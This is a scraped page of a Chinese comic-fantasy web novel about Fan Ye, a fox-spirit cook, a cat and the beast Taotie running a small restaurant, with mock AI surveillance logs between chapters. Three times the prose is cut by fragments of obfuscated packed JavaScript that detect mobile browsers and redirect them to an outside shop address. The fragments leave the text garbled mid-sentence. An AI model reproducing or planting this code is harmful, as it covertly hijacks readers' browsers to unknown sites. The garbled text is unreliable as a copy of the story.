l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587013|205325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说得太绝对,此时也不是不能翻盘…… 他三步并作两步,准备这次先走为妙,却迎面撞见一个少年。 “啊!你踩着我裙子了!” 贺途抢了流浪汉的斗篷,黑色、宽大、稀皱,不必开口就能自己陈词的。但又嫌弃不干净,送去干洗店。洗完又发觉太干净,又去泥地里打滚。打滚后斗篷给石子剐破了,正要伤心,却发现形状十分艺术,遂保留了下来,满心欢喜的要跟樊也炫耀。 但现在他艺术的口子扯了,扯成了两个。斗篷变得像苍蝇翅膀。 可他只顾着走,见贺途阻拦,甚至想伸手推开。贺途却只重复道:“你踩着我裙子了。” “什么裙子?”他一双眼搜寻着急急看了两遍,破斗篷而已叫什么裙子?怕不是有病。这么想他便不敢再推了,后退着想转从另一扇门出去。 “道歉。”男人眼都没眨,贺途就又出现在脸前。他仅略一犹豫,对方便烦躁了起来,“道歉。你道歉了吗?”像察觉自己咄咄逼人,有损形象,他转头又朝着樊也的方向撒娇:“姐姐,她踩我裙子。”樊也还没回答,他就又转了头,喃喃切切恍然大悟地:“不过没关系,你道歉我也不会原谅你的。” 贺途揪住他的兔子尾巴。四分之一秒往后扯,四分之二秒从后接住他的头下扣,并往上提膝,剩余二十五万微秒重复十次,整份的一秒中都对着樊也浅笑,“姐姐,长的好看的男人都是骗子。” 讹兽见势不对,化为原型便朝贺途扑咬。面对攻势,贺途却松开双手,略一侧身,反将其踩进地里,十分惆怅,“你知不知道,要想不血腥真的很难啊。”砖块迸裂,巨大的兔头半边嵌地。贺途站在旁边,手揣进兜里,右脚拨楞皮球似的点他,“喂,还没道歉。别死了啊,道歉。” 樊也阻止了贺途的榨汁行为,但向胡久为询问兔肉是否好吃。胡久为表示好吃,但人吃了讹兽的肉会没法说真话。樊也表示,她早就与这个世界七年之痒,遂将其肢解,部分冻入冰箱。 至于贺途,发现自己血腥暴力的行为与人设有违,掉头走了,准备当没来过。下次换身衣服照当初见。 晚饭,烛光,少见的西餐,红酒炖兔肉。胡久为和樊也相对而坐,刀叉在瓷盘上磨出硌硌的细声,餐巾平铺膝上,浅尝两口后,樊也执起餐巾轻轻按过嘴角,这才开口——嘴张开后发现没有骚话,又闭住了。 胡久为睨她一眼,告诉她安静也是种美德。 但AI不懂美德,也读不懂氛围,只一样大叫:“你不是说要赶饕餮走?自从他待在饭店,客人已经抬出去三个了!”0114不愧是计算机,一边抱怨一边还在检索论文研究,探寻为何古代人类只有在长期被吸食精气时才有生命危险,而现代人类仅是一两口就足以致命。 “这是个好问题,那他在哪呢?”樊也摊开手,指指天上地下。0114哭泣,检索,探查并捕捉饕餮的方式也是个问题。 “不过说到底,我觉得精气和焦虑值就是一回事,只不过前者和妖怪相关被称作玄学,后者是你们通过心率血压激素水平等等指标综合得出的数据,叫做科学。但或许,本质上衡量的都是人体的一个东西。”樊也其实两个都不大懂,她只是直觉很多事没那么复杂。 “至于饕餮,明天,明天他肯定会忍不住来见我的。”樊也安抚0114,并同时向咪承诺道。 ----------------- 行为日志全面监视报告 文件编号:c5d9e8f0a2b4c7d1e3f5a8b0c2d4e6f9a1b3c5d7e9f0a2b4c6d8e0f1a3b5c7 目标:樊也(ALPHAMAND-01) 监视时段:2426年4月26日06:00:00-23:59:59 报告对象:控制中心/数据分析部 监视AI标识:SENTINEL-XIV 附属数据:1.全程音视频录像(.hiv)2.生物体征遥测流(.bio)3.行为分析标记(.tag) 数据状态:传输完毕,本地缓存已清理。 日志摘要:饕餮攻击性、凶兽等级压制、讹兽;樊也贫困。详见文件内部。 4. 告别饕餮 这几天,电视机里就跟播连续剧一样。每天到时候了就唱着响着呜啦呜啦的转播。今天是食神争霸,和饕餮比谁吃得多。 “他都是饕餮了,难道不该很老很老了吗?”米然看着电视机内同步播放的幻境问道。“你不知道?”胡久为惊讶。“知道什么?”咪咪不解。难道她不是狻猊,只是只有机缘染了佛香的猫妖?胡久为心内猜测。 “神兽确实在天地未分时就存在,但那只不过是混沌中的一缕精魂。所以不同于妖怪,神兽无父无母,不分性别,为自然孕育。诞生后也并非不老不死,只是死后仍旧回归故土,然后和人类一样,轮回等待下一个重生的时机。” “哦,所以樊也说你是男妈妈!”咪咪拍掌,做恍然大悟状。 比胡久为更先表达不满的是樊也,“啧,当人面不能这么讲。你得叫daddy——他就爽了。” 咪咪:“daddy?” 胡久为:好吧,是有点爽。 “那为啥不能直接叫爹?”猫猫悄声问。樊也失惊乍起:“爹现在还是褒意词?!”咪懵懂摆头。狐痛苦扶额。 “那你没爹没妈,回的哪门子老家?”刹那,咪咪又问。胡久为早已身中数枪,但仍旧不能拒绝一只好奇的小猫,于是只好飞樊也一眼刀,指责她缺心眼教育对于孩子的毒害。“我是养子,是被狐妖一族收养的。” 咪咪哦了声,和她的解说员继续观看。饕餮笑问:“和我比赛吧?赢了的人可以吃掉对方。” 那人木呆呆地,也不多问,就直接点头答应。 “他就这么答应了?”米然不可置信。 樊也虽不确定,倒有所猜测。0114说饕餮可以制造幻境时,她就在想,幻境的搭建到底是依赖于制作者的记忆,还是能像计算机一样,借用影像图片等数据将场景完美复现。如果是前者,那么记忆会因个人好恶有所偏差,而入境者也极易因自己在意的某些细节失真而将其识破。如果是后者……不会是后者,不论饕餮能不能做到,他目前使用的都不是后者。她擦的桌子啥样,她还不知道么。 还有一种猜想,倒和当下接近——做梦。你在梦中被轧折了腿,赶去医院看病,医生不让你进,说今天限号,看不了。你急得甚至想找黄牛买票,也不会想医院摇的哪门子号。睡梦中,所有的天马行空都如律令般坚不可摧,即使教你微积分的是猪猪侠。也因此,最后一种幻境更为无解,入境者如果还有清醒的意识,自有寻找线索将其识破的可能,但如果连最基本的理智都被幻术掐断,又怎么可能出得去? 和饕餮比吃饭的客人,出门后都被救护车拉走急救。 “樊也你想想办法啊,上次人类灭绝就是他干的,照这样下去——”0114急得连提醒樊也交电费都忘了。 “上次?”樊也反问。0114慌忙闭嘴。 樊也狐疑地瞥了系统一眼,随后整整衣襟,步出门外,准备重新进入店内,大有凛然赴死的风度。 “你要去挑战饕餮?”0114敬佩道。原来是它看错了,它一直以为她是废物来着。 “啊?我?”樊也莫名,那感觉就像你英语30分一学期都说不了半句话还踢你凳子的后桌见你竞赛获奖后说:“Hey,congratulations!” “你把我剖开了往里倒都没他一嘴吃得快。” “那你去干嘛?” “虽然我没有办法,但我可以占着茅坑啊!”下一瞬,樊也往前,步入幻境。 与此同时,咪叼了根猫条回来,四处张望,“她人呢?” 胡久为呆呆,“嗯?拉屎去了。” 幻境内。 不得不说,樊也对于少年就是饕餮这件事,还是没有实感。就像你抱着睡觉的玩具熊开口说话,不是不行,而是最好不要。 她揪住他的头发,让他仰头,手指插进去,温暖松软的一团。最初只是确定,其后却是沉迷。这种触感对于手的吸引,好比你偶然摸到块凸起的头皮,不将其扯下,今夜无眠。也像你看见同桌嘴旁长出了一根金色的胡子,你知道伸手会被定为早恋,但你还是将手伸向了那片禁地。毕竟它是那么堂而皇之地挑衅着你,高高翘起,摇摇摆手,若不除之,你将会在毕业后每一个洒满阳光的下午,想到在年少时那个金色温暖的教室里,有一根埋藏在记忆深处的胡毛。可惜这些都太恶心,相宜的说法是光洁似绸缎,颜色如泼墨。 贺途喜欢手,手的控制感,清晰地传导欲望。所以他只静静看着樊也,捕捉她给出的每一个反应。 樊也有点沦陷了,刚才是物理,指尖陷入深厚的皮毛,这次是意识,像蚊虫误入蛛网。明明九尾也是金曈,可对视时,却竟没有少年惑人……那是白葡萄酒陈酿后的金,却更有变化,缀于虹膜的隐裂像投入冰球后层层紧皱的酒,眼窝里藏的笑,像晒化了的甜冰糖。樊也摇摇头,紧紧把眼睛闭上。 “戏剧中,初见似乎是很重要的场景。我设想过很多,但最后又觉得哪种都不足够,不足以惊险到一眼就能爱上的,不足以新奇到绝无仅有的,也没办法凄美,除非我先侵犯你的过去。我还没有学会驾驭这种看上去神秘感人,细想又分外无聊的方法。所以给你的只有混乱。但你喜欢哪一种呢,直接告诉我,我们可以从头来过。”贺途的金曈中游弋着抹红光,仿佛真痴情到准备重来千千万万遍。 “那你吃客人干嘛?”樊也问道。 “谁吃他们了!”贺途愤然拍桌,仿佛烈女受辱马上就准备一脖子吊死的模样。他绕着樊也,急急转了圈才道:“你知道人肉是什么质感么?——哦,这不能说。那精气呢?以及,精气之后的魂魄呢?” “很难吃的。”他停顿,甚至不愿形容,“不要把我当会吃这种东西的苍蝇。”他的金曈荧幕似的,仿佛真可随心意布景。此时相机的机身上盖了黑布,不再反光。 “幻境是我对你的邀请,比赛是我招待客人的礼仪。”贺途又靠近到可以眼睫眼睫交缠的距离,见樊也眸中确实露出肯定,又才离开。 “那么该我,两个问题。”贺途拖了椅子,在她身前坐下,“为什么说不要我?”虽然她当然赶不走他,但为了这句话,他可伤心了好久。 樊也筒着手,拘谨地站着。她都忘了还有这茬。目光从左看到右,从右看到下,不是不认识野草,就是在活动颈椎。 “我可以给你反悔的机会。”贺途翘起腿,手却乖巧地在上面叠着。 猫狗双全的日子,她不是没有过幻想……但不是现在。樊也长吸一口气,骤然放手。她狠狠别过头去,道:“我已经决定了,既然你不被储药仓束缚,那你今天吃完饭就走吧。” “真让人伤心啊。”贺途选择的脸,完美可演绎伤心的形态。甚至都不必侧头,眼皮敛一敛就好了。光影下翕然颤动的,比蝶翅还要脆弱的东西。“好在,我也不是没有另一个选择。”他的演技太好,影史上每一个经典的镜头都超然复刻,又演技太差,从不衔接。只见他走过樊也,替她拉开椅子,以一种轻盈的舞步。 但幻境中,等一切映照在樊也的意识里,都已成斑斑迷幻而无从捉捕的碎片。因此食欲自然压过了那些对莫名事物的探究,樊也点了东坡肘子清蒸鲈鱼油焖大虾和腊味合蒸,甚至还没忘了加两个凉菜解腻。菜上齐,还招呼饕餮,“一起吃啊,别客气。” 按理说,要掐表看规定时间内谁吃得更多,但在美食面前,贺途格外宽容,并不计较这些细节。二十五个盘子被扫了个罄尽,其中二十个都是饕餮吃的。赛果显然。 樊也嗝地一声,滑溜着从椅子上瘫了下去,发饭晕。 “吃饱了?”贺途凑上去。 场外,连胡久为都急得心慌。之前见她道破幻境玄机,还以为她有什么保持清醒的办法,拒绝和饕餮比赛拖延时间,没想到却还是被牵鼻子着走。更别提饕餮这种程度的凶兽,越是喜欢,恐怕就越是吃得干净…… “不行,我进去看看。”胡久为起身,他不能见死不救。 不想米然却打了个哈欠,伸爪拍他,“放心吧,她的自卫是条件反射。” “就是脊髓反射也完蛋啊,那可是饕餮!”胡久为与0114齐声。 但猫师傅只懒懒一瞥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587014|205325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半面阴影中,刀刻斧凿的侧脸像在大润发杀了十年的鱼,她道:“你们见过有谁能在睡着的情况下,凭气息抓住蚊子吗?” 二人肃然。 半刻钟后,饕餮的结界关闭。但三小时后,樊也才回了来——后面跟着个胳膊骨折的饕餮,打了石膏,前臂挂在脖子上。 即将开饭。所有人都知道,此时便是和饕餮告别的时候了。毕竟樊也说过要他离开,况且他又把店里闹成这个样子。 樊也看着空白的墙,目光涣散。她记得刚来店里的第一天,她和咪咪说,这里以后就挂她俩的合照。 胡久为看了心疼,但这又确实是没有办法的事情。如果饕餮不能收敛凶性,那么离开,是对大家都好的选择。他将手轻轻搭在樊也肩上,“你做的没错,即使不考虑自己,我们也得为店里客人的安全负责。” 樊也一惊,“啊?”随即,“啊!安全!对对对!” 胡久为有些莫名,但对于饕餮的去留,终于还是走了个形式。三人一统举手表决贺途去留。胡久为弃权,咪咪和系统坚定投反对票。樊也甚至都不必发表对他恶劣行为的谴责,贺途就即将被赶出大门。 剩下的时间,樊也自然不介意当个好人,“放心吧,在你找到住处之前,我都会收留你的。”说着还给贺途夹菜,就差语重心长地拍拍他的肩膀。 0114投完票,就准备飞去充电,临走时又嘱咐樊也:“记得交电费。” “知道了知道了!”樊也不耐烦地飞它个白眼,就非得在这么煽情的时候插话?就非得破坏她殷殷嘱托的氛围?她一家之主不满的筷子还未拍下,“啪——”的声脆响,电表跳闸。 屋内一片漆黑,六道镭射光一样的眼珠子,穿过黑夜,齐齐聚焦在她的脸上。荧光黄,镜面红,电光蓝,眼球微动时,再反射出点点或橙或紫的光斑,像空洞无物的玻璃珠内幽然滑过的一分冷眼。还有抹微亮的绿,是0114运行状态的指示灯。 樊也有些尴尬,她毫无来由地从这几颗夜店灯球中瞧见鄙夷。虽然她一介人类,现在其实啥也看不清楚。 直到0114找到电卡,喀哒一声插进槽里。樊也这才真正看见了比电眼更逼人的东西。 “所以你不要我是因为没钱?”贺途虽然问道,却已然是陈述句的样子。 明明灯已重开,但樊也却觉得那黑洞般的沉默更添深稠,仿佛有什么东西也在众人的静默中被切切吞吃。她蝉翼的自尊不堪受辱,于是拍桌壮胆,瑟瑟辩白:“我说……成年人赚钱不容易的好吧!” 但贺途只是静静看她。 “你、你、你不要用这种眼神看着人我跟你讲!” “你一个当宠物的懂什么赚钱人的辛苦!” “你、有种别走!你们这是不当家不知柴米油盐贵!”樊也仰着脖子,像只受惊的小鸟,展开了它的冠毛。 楼梯角,咪咪仰头,脆生生问道:“米多少钱呀?”胡久为揉揉猫猫头:“你不用管,那是成年人的无能。” 最后一个留在桌上的贺途好似也终于失望了,选择离开。而后0114便拔了电卡,还她一片漆黑,“留着点,明天还得用呢。”丝毫不顾樊也才是整个屋里最需要灯光的活物。 ----------------- 行为日志全面监视报告 文件编号:d7e0f1a3b5c7d9e2f4a6b8c0d2e5f7a9b1c3d6e8f0a2b4c7d9e1f3a5b8c0d2 目标:樊也(ALPHAMAND-01) 监视时段:2426年4月27日06:00:00-23:59:59 报告对象:控制中心/数据分析部 监视AI标识:SENTINEL-XIV 附属数据:1.全程音视频录像(.hiv)2.生物体征遥测流(.bio)3.行为分析标记(.tag) 数据状态:丢片重传,本地缓存已覆盖。 日志摘要:饕餮掠食转化、年龄;樊也贫困。详见文件内部。 5. 媚惑余波 近几天店里生意不错,表现形式就是,厨子走路时总不小心露出一两根尾巴。 樊也不会读心,但很会读尾巴。她趁机要了两盘小酥肉,都成功了。米然也想学,按资质,她本该比樊也强多了。但咪全是毛,胡久为不让咪进厨房。咪只能舔樊也盘里的肉渣。胡久为见了以为是樊也舔的,心下过意不去,下盘分量又增一倍。咪的肉渣没增。 “今天的菜我很满意,请您代我向后厨致谢。多余的是给厨师的小费。”他正了正领带,又抚了抚衣襟,才将钱推过去。樊也看见里面夹着张名片,挑眉:“我们这不收小费。” “啊,抱歉。可我实在不知道该用什么方式表达我的喜爱,或许,如果主厨有空的话,能让我当面道谢吗?”他眨了眨小眼镜后面的眼睛,很有魅力的。 樊也本想拒绝,但这,已是本周的第三次。她不明白为什么一个坐之前要把凳子擦三遍的穿着西装的客人要执着于每天晚上来这个犄角旮旯的地方点上一碗拉面。然后为9.9的拉面致90元的谢。 樊也转进后厨,“有个盗版意大利男模想找你致谢。” 战局正热,油烟机炮火的轰隆声和冷兵器锅铲的掀砍声中,胡久为边颠锅边回头问道:“止泻?止什么泻?”他眉头攥得紧紧的,显然是以为客人吃坏了肚子。 “致谢!” “啥?” “致——谢——!”樊也气沉丹田。 “哈?” “Hewanttosaythankyou!” 突兀的英文奇异地在中国的油烟中被传递了,胡久为炒完这个菜出去后,果然看见了一位西装三件套甚至连方巾都齐备的男人。 “我非常喜欢您做的菜,赶来几次您都难以抽身,今日得见真是十分荣幸!”他躬身同胡久为捏了捏手,伯牙遇见钟子期的模样。 “啊,哪里哪里……”胡久为本就不擅长应对夸奖,更别提现在他现在刚从战壕里爬出来,是油烟味和香辛料的军工复合体。更更别提樊也把他围裙偷了,只留下件小的,导致现在他前胸挤得像个爆衣厨娘。 “近期我想请一位朋友用餐,不知贵店是否能承接私厨上门的工作,如果您愿意,我会尽可能配合您的时间。”男人说话时半身对着樊也,因为他看不懂她到底是服务员还是老板。 “这……”胡久为看樊也,樊也比了个ok,他道:“我考虑考虑。” 胡久为挺想去的,这是他手艺为数不多受到认可的时刻。但他又很难说服自己答应,因为一想到厨房会有一个无人看管的周末,他满脑子就是樊也在一片绿茵中,抡着铁锅击打高尔夫球后手搭凉棚遥望太阳的模样。他甩甩脑袋,把他爱刀爱锅的惨象和樊也的傻笑都赶出去。家里离不开人。 后来那客人又来了几次,眼睛全挂在后厨。樊也用屁股顶了顶咪咪,“我的响了,你的呢?”咪:“我也。”就连贺途的尾巴都抬起了两厘米,表示+1。只有0114和胡久为没看出来,一个傻转着问到底啥响了,一个傻乐着,仍旧噗噗冒尾巴。 但这两天,樊也每日观赏的风景线突然消失了。蓬松的超级大白尾巴影都不见,甚至小酥肉都有点欠着火候。厨子不但神游天外,甚至偶尔还神经兮兮地躲在柜子里向外偷看。 直到一位女士进店,他连锅都不管了,嗖地一白团子就窜上了二楼。楼梯口,几撮抖抖索索飘下来的白毛。 她染着一头蓝发,刘海下方是8mm长的C翘假睫毛,眼影是莓粉叠加亮片的跳色。当然这些与美妆绝缘的樊也都没认出来,她认出来的是后面跟的那俩小弟。他们胳膊上的纹身和胡久为胳膊上的一样。然后一瞬间就明白了些什么,并灵机一动。 “胡久为在吗?”她问道。 “他是gay。”樊也答道。 她明显愣了一下,一口气都悬着,但终究还是放下,想来是认为不该信一个陌生人。于是她又补充道:“你跟他说一声,我在这等他。” “他是gay。”樊也又答。 她因惊讶而悬置的一口气明显比上一次更深了。深到抖着嘴唇两三次都不好咽下。但樊也只是看着她,眼睛一眨也不眨地看着她,坚定而又沉重地凝视着她。那眼神就像是麦哲伦说地球是圆的。 她不得不信了,扶着墙踉踉离开。 胡久为第一次露出狐狸的形态,小心翼翼从木扶手里钻出个头,极轻声地问:“走了?”樊也点头。“你跟她说什么了?”小狐狸惊喜地仰着脸看她。 “姐妹间的真心话。”樊也昂首。全然不顾旁边什么都听见了的咪,下巴颌儿掉在柜台,现在都关不上。 胡久为傻乐傻乐地看锅去了,加肉!加肉!再给樊也加肉!丝毫没看见自己狐族的姐姐也站在门外,不知听见了什么,惊颤彷徨,宛若风中之烛。 胡嫣眼看着那可怜的孩子扶墙出去,自己也想跟着退走。深呼吸了十来下,又照照镜子,终于是管理好表情走进。 这会儿店里并不太忙,胡久为也刚把给樊也的零嘴做好。胡嫣笑吟吟地迎上去,半搂着他,拍拍背又估估胳膊,掂量了又掂量,误差在勉强可接受的程度。见一旁还有樊也,她不好意思太黏糊,把手里提着的东西往前递了递,“给你们带了点青丘特产。” 胡久为拆开,里面有:文昌鸡、三黄鸡、芦花鸡、乌骨鸡、河田鸡、狼山鸡、清远麻鸡、泰和乌鸡……拆到后面胡嫣也有点脸红,来的时候光顾着弟弟爱吃了,哪儿还想到要带特产。 樊也大悟:青丘是养鸡场! 胡嫣已是三百岁的狐狸,胡久为刚被收养时就是由她带大的。她留着头侧分的卷发,桃花眼因宽褶的双眼皮更添柔媚,茶棕色的红唇微往上勾。像是知晓脸部的富丽堂皇,颈间只大片留白,仅浅灰的一片抹胸略搭了件大衣便直接作罢。 樊也还是很难想象,一个都市丽人手中高奢限定的包装袋里,全是土鸡。 胡嫣想进厨房帮忙,但被胡久为赶了出来。人闲在外面,就难免盯着在意的事看。那少年……成年了么?看着还小,小九不会喜欢他吧?但也说不准,成年后才恋爱那是人类的规矩,连妖族都是自由自在地性子,更别提神兽。神兽向来是由心而动,人类的价值观和伦理,从来束缚不了他们。 胡嫣一点点朝贺途挪过去,想找机会搭话。贺途瞥了他一眼,嘭地声变成饕餮原形,两步出了店,踏着云就不知道飞哪去了。 我就说吧!神兽都是这种狗屁性子!胡嫣什么时候受过男人的冷脸,就是小孩也会喜欢漂亮姐姐啊!她紧咬银牙,又想是不是该找樊也打听。但既然小九没说,她也不想在背后多嘴。于是只好忍。想得再多也只能忍住,大家闺秀的微笑对每个人都憋得分毫不差。 胡嫣来了,之前被胡久为抛之脑后的想法就又浮现出来。胡嫣开开心心地答应了他帮忙看家照顾孩子的请求,听到雇主是个男的后又蔫蔫巴巴地食不下咽。连鸡都吃不不香。 饭桌上,樊也很突然地凝视她道:“我知道他地址在哪。” “谁?”胡嫣很惧怕这个坚定而又严肃的,曾带给她噩耗的眼神。 “你心里想的那个男人。”樊也邪魅一笑。 一家老小连同0114都一齐出动。圣菲庄园门口,胡嫣美目含情,朝保安轻轻一笑,过去了。咪咪假装流浪猫,大摇大摆地,过去了。0114隐身,横飘半空,也过去了。 樊也:“驾!” 咪咪鄙夷唾弃:“骑狗烂裤dang。” 樊也大手一挥:“成大事者不拘小节!” 贺途有些羞耻,但终究还是驮着樊也,一个纵身跃过去了。 一人一狗一猫一狐一统,一起扒在门口听墙角。圣菲庄园是别墅群,每户带着个小花园,所以在夜色的掩护下,一行人趴在哪儿并不算显眼。0114潜入内部,给它们播报实时情况,“九尾已经忙得差不多了,只是主菜都上了,客人怎么还没来?” 连咪咪都看出来了,阴阳怪气:“客人在厨房里呢。” 胡嫣心头一紧,“要不我们还是回去吧,其实不论小九选择什么,我们都会学着接受,但这样偷听确实不好……”樊也头都不回,“那你回去吧,注意安全。”胡嫣:“啊?你们还不走?”樊也和咪咪挤在门缝里偷看的后脑勺齐齐摇头,0114已深入敌后,贺途在看樊也的热闹,不置可否。胡嫣的道德被从众心打破,成为扒在门缝上的第三颗头。 “您朋友还没来吗?我菜上早了?”胡久为担忧道。 “不是。”他微微倾身,伸手示意胡久为在对面坐下。胡久为看了眼那把听说是选自墨尔本黑牛皮的椅子,认为坐客人位置不好,于是还是站着。因此,西装男只好也一同站起,耐心地再请一遍。其实樊也说错了,他并不像盗版意大利男模。他长得不错,具有高挺的鼻梁与开阔的眉眼,虽然说话讲究得不合时宜但也勉强可解读为礼貌。西装也合身随性,并非保险公司那夹人的黑灰。樊也说他是盗版,大概只因他总“不经意”地理一理领带。 “我其实是想请您与我一同用餐,但如果我直接以个人名义邀请您,您肯定不会来。所以,很抱歉我最终采取了这种方式……”他头微微低下,善解人意地给对方递过原谅的台阶。 胡久为终于听明白了,也终于坐了下来。但仅侧着身子,屁股坐了一半,两条腿只有一只朝着对面。他等了等,又将围裙解下,手一把攥着。 “请您务必给我一个解释的机会,我第一次见到如此中意的人……但我也确实很喜欢您的菜品……”“什么味道?”“什么什么味道……哦!您是说菜!菜自然是很好吃的,我从未吃过这么好吃的饭菜——”“你就从来没吃过饭菜。”用冰箱和厨房的时候,胡久为便知道了。只是仍旧以为,对方过往习惯于营养液,吃了自己的菜后有所改观。 胡久为离开了。身后跟着一长串尾巴,一人一狗一狐一猫一统,像人类的倒退史,移动的信号灯,希特勒醒目的小胡子,大耳朵图图三足鼎立的头毛。 樊也不习惯处理如此悲伤的事情,因此一回去就要了两盆炒饭。胡嫣认为自己有安慰弟弟的责任,打下手时百般夸赞,最终只收获了一双略微嫌弃的眼。 “我知道,你想找到一个既懂你厨艺,也懂你内心的男人,但是两头都要总是难的,我们得慢慢来不是?” 胡久为原本听着还有些赞同,等到习惯性答应的时候,大脑才突然警报,“男人?” 胡嫣小心翼翼:“男……人?” 樊也跪在地正中,手捧藤条,负荆请罪。“只请您打完这顿就完了,不要耽搁明天的早饭!”她声泪泣下,水花花甚至是四行六行等比数列递增,而非孤哩孤单的一加一等于二。 胡久为一瞬间觉得治愈,毕竟她确实是自己忠实的食客。又一瞬间觉得自己傻逼,她只是肉忠实的食客。他毫不怀疑,给她三天,她就能品出零熟牛肉的独特风味。野人。 胡嫣目瞪口呆地看了半小时狐狸抽人的奇景,悬着的心终于放下。弟弟是真的过得很好,而非她们想象得报喜不报忧,独自硬撑。狐族里雌性居多,所以小时候他一个男狐狸还是九尾,遭了全族上下姑姑婶婶姐姐嬢嬢们不少逗。逗得他后来见了只母狗都找洞要钻,更别提真正和一个成年女性相处。 所以她初见樊也时,是很担心的。以为弟弟被骗,又以为弟弟只是不好意思拒绝。 但现在看来,小九似乎根本忘了对面是个女的。不过她也确实不像。哪有姑娘家一点芥蒂都没,愿意跪在地上挨抽的。信口胡说也大大方方,事后认错也大大方方。姑娘家……其实又何必像胡娘家……她自嘲地笑笑。她自己又何尝想像姑娘家。 胡久为开心的表现形式是翘尾巴,胡嫣开心的表现形式是买买买。咪咪已经拥有了第三个铃铛,她每天都会选一个最喜欢的,顶在头上,叮叮当叮叮当叮叮叮叮叮叮当。樊也吵得脑子疼,于是三个铃铛全给车轧了,像两颗刚被摘掉的,悲伤的猫蛋。 胡嫣还给胡久为买了床上铺的身上穿的手上戴的脖上挂的,到货后胡久为可睡的床渐渐高至房顶,脸贴着天花板,像睡棺材。胡嫣被迫退了八成。连樊也也没逃过,胡嫣说要让她好好打扮打扮——樊也穿着件BM吊带,感觉像……世界大战,人类终于角逐出了最后一个胜者。 胡嫣放弃了给这群野人现代化的想法,开始着眼于店面。首先,面积是不够的。扩张!隔壁房屋正好出售,胡嫣全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587015|205325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 款拿下,半小时内已经联系设计师团队进场。施工团队以极快地速度将两边打通修缮,原本不大的前厅瞬间扩充一倍。 平时招待客人穿的衣服也不像样,她订制了狂草的野草二字黑色半身围裙,让他们招呼客人时穿上(连猫猫都有个mini版)。 而且她还成了店里的看板娘,0114表示:“姐姐的魅惑属性比九尾强多了!” 她系着围裙风风火火地忙着,上菜的时候总跟人扯两句闲天。许多客人们爱极了她,就是只为见她一面也要过来。咪咪脖子上挂着小围裙,学着姐姐的样子扭,“我也能成为看板娘吗?” 樊也:“你是案板娘。” 咪利爪已伸出一半,还好胡嫣呼噜着猫猫头笑哄:“你是招财猫呀,招财猫比看板娘重要多啦!”猫猫开心了,蹲在桌角,盯着每一个客人扫码点单,仿佛输密码的那一刹那没她,钱就到不了账似的。 又看着一个客人付完款,猫猫点点头,满意地准备跳下桌子离开,却见他肩膀上淡青色的东西微微冒头。猫猫伸爪去挠,跟毛线球一样,爪子勾出来一两根,剩下地就一圈圈颤着被揪了出来。 “警告,心功能模式异常,心功能模式异常!”响亮的警报声在店内回转,十几双眼睛盯着她看。啥啥意思?咪察觉闯祸,想要逃跑,一扭眼却见他脖架不住脑,头要杵进饭汤里,来不及想,一拳飞起,竟把那淡青色的东西摁了回去。但进去了这头,翘起了那头,咪急着销毁罪状,一顿老拳,几十个来回,居然把它们都捶了回去。 心功能异常的警报响了一半,飘在半空里,像是自己也不知道还要不要唱。 那客人长着张河马脸,方宽的脑门下,方宽的镜框,方宽的镜框内盛着凸圆的眼珠,眼珠里闪烁着死里逃生的红光,饥渴地就想抱住那只抢救了他的生物细瞧。但咪后腰“凹”地一下,圆润地躲开了。连毛都没给他碰到一根。 男人又伸双手去抱,咪咪撕心裂肺地号了一声:“喵(你干嘛)——!”转脚一个兔子蹬鹰,就脱了那河马男的禁锢,跳进樊也怀里了。 樊也也不知道咪干了啥,只给猫猫头蒯了起来,摇摇着问。“窝……窝就看好像啥钻出来了……”猫猫在樊也的手心里嘟嘟着道。 “总不能是灵魂吧。”胡久为从后厨出来,擦了擦手,信口说完又发现还真有可能,毕竟如果真是狻猊的话,常年在寺庙里听僧人超度亡灵,能看见三魂七魄并不奇怪。 “所以焦虑诱发的心脏病,和魂魄离体有关?”0114忙忙记着笔记。“人要死了,魂儿能不出来么。”樊也嗤笑道。 “所以你们妖怪口中的气啊魂啊,到底都是什么啊!”0114作为一个科学的产物,在遇见妖怪后,却反复经历科学无法解释的事情。 胡久为摊手,倒是胡嫣把话题接了过来,“这种事情,你问他们自然是没用的。”胡嫣看了胡久为和米然一眼,然后道:“气,放在宇宙里,是生化万物的基础,放在个体上,就是维持一个人生命运转的力。但总的来说,精气就是人吸收天地精气,吃五谷杂粮,运化后产生的精华,所以妖怪自然馋它,直接吃人类的精气,就像掠夺别人修炼的成果,比自己呼吸吐纳运转灵力便捷得多。而像小九他们这样的神兽,先天基底深厚,自然不懂普通妖怪对于精气的渴求。” “那魂魄呢?”0114记完又问。“魂魄是先天之本,精气是后天之用。”胡嫣道。“那焦虑值和精气有什么关系?”胡嫣不懂他们人类之间的定义,只道:“反正人越健康,精气肯定是越多咯。” “那会不会,那天出现的讹兽也是被精气吸引?进店之后的客人们焦虑值多多少少都有降低。”好不容易遇见一个能解答它疑问的靠谱的大人,0114立马调取数据,并简单同胡嫣阐述了当时情况。 但胡嫣却摇摇头。“那点蚊子腿,吸引普通小妖还行。讹兽……” 胡嫣迈步,突然问樊也道:“你很招妖怪吧?” 